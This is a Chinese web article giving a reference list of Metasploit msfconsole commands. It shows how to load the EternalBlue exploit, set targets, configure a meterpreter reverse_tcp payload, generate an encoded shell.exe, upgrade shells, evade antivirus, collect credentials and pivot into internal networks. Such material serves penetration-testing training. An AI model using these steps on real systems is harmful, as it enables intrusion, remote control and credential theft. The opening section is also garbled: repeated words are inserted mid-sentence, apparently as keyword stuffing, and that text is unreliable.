msfconsole命令大全
作者:休闲 来源:百科 浏览: 【大 中 小】 发布时间:2026-10-17 06:23:07 评论数:
msfconsole命令大全
Metasploit的命令交互终端msfconsole,本质上是大全个命令解释器。别被它的命令“大全”吓住——真正高频使用的命令不超过三十个,剩下的大全属于“知道存在即可”的冷门货。我按使用频率和逻辑给你捋一遍,命令实战里够用了。大全
启动与基础操作
终端敲msfconsole,命令等几秒,大全看到banner就进来了。命令别急着乱输,大全先记住三个救命命令:help(随时查帮助)、命令exit(退出)、大全version(看版本)。命令color可以切换输出颜色,大全眼睛舒服点。命令history显示历史命令,按!加编号能重跑某条,比如!3。
数据库是必须初始化的。第一次用先跑db_init,之后每次启动记得db_connect连上。没数据库,后面hosts、services、vulns这些查询命令全是废的。workspace可以切换工作区——建议每个项目单独建一个,别混在一起,不然扫描记录乱成一锅粥。
模块搜索与加载
搜索模块用search,语法灵活。比如search type:exploit platform:windows ms17-010,直接定位永恒之蓝。search cve:2021按CVE编号找也行。找到后use加路径加载,比如use exploit/windows/smb/ms17_010_eternalblue。
加载完别急着跑。info看模块详情,show options列出必填参数。set和setg设置变量——set RHOSTS 192.168.1.10,setg是全局设置,省得每个模块重输。unset取消变量,unsetg取消全局。check能检测目标是否脆弱,但别全信,有些模块的check逻辑写得稀烂。
会话与任务管理
拿到shell后,会话会挂起。sessions列出所有会话,sessions -i 1进入第一个会话,sessions -k 1杀掉它。后台任务用jobs管理——jobs -l列出,jobs -k终止。注意区分会话和任务:会话是交互式的,任务是非交互式的后台动作。
有个细节很多人忽略:sessions -u 1可以把普通shell升级成meterpreter。这一步很关键,meterpreter的功能比cmd shell强太多,文件上传下载、进程迁移、键盘记录全都有。但升级过程可能被杀软拦截,得看运气。
Payload与编码器
show payloads查看当前模块支持的payload。set payload windows/meterpreter/reverse_tcp设置监听型payload。设置完记得配LHOST和LPORT——LHOST填你机器的IP,别填0.0.0.0,不然后续监听会出问题。
编码器用generate生成payload时配合-e参数,比如generate -e x86/shikata_ga_nai -f exe -o shell.exe。但说实话,现在静态编码器过杀软的概率很低,不如直接用msfvenom做免杀,msfconsole里的编码功能更多是应急用。
辅助命令与实用技巧
db_nmap直接调用nmap扫描并把结果存进数据库,省得手动导入。hosts和services查看扫描结果。vulns查看已检测到的漏洞。creds管理收集到的凭据——这个在渗透后期很有用,各种爆破和抓包的结果都在这里。
还有几个冷门但实用的:route添加路由,用于内网渗透时访问隔离网段。spool把终端输出保存到文件,记录渗透过程。resource批量执行脚本文件里的命令,适合重复性操作。irb进入Ruby交互环境,能直接调用Metasploit的API——这玩意儿是进阶玩法,新手别碰。
最后提醒一句:use加载模块后,back返回主界面,不是exit——exit会直接退出整个msfconsole。我见过太多人在这栽跟头,好不容易配置好的东西全没了。多敲help,多试tab补全,这比背命令效率高得多。
